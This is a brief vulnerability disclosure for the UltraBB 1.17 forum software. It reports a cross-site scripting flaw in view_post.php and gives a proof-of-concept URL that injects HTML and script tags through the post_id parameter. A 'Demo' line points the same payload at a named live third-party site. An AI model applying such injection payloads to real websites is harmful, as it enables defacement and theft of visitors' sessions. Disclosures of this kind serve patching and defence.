UltraBB version 1.17 suffers from a cross site scripting vulnerability

[B] UltraBB 1.17 [B] Download of trial version: http://ultratrial.com/trial.php [B] Vendor: ultrabb.net [B]Price: $99,00 [B] Author: s4r4d0 [B] mail: s4r4d0@yahoo.com [B] Bug: Cross Site Scripting has benn found on view_post.php file . [B] Exploit: http://host/view_post.php?post_id==">><script></script><marquee><h1>XSS By Fatal Error</h1></marquee> [B] Demo: http://www.charliedanielssoapbox.com/view_post.php?post_id==">><script></script><marquee><h1>XSS By Fatal Error</h1></marquee> [B] Made in Brazil [B] Team: Fatal Error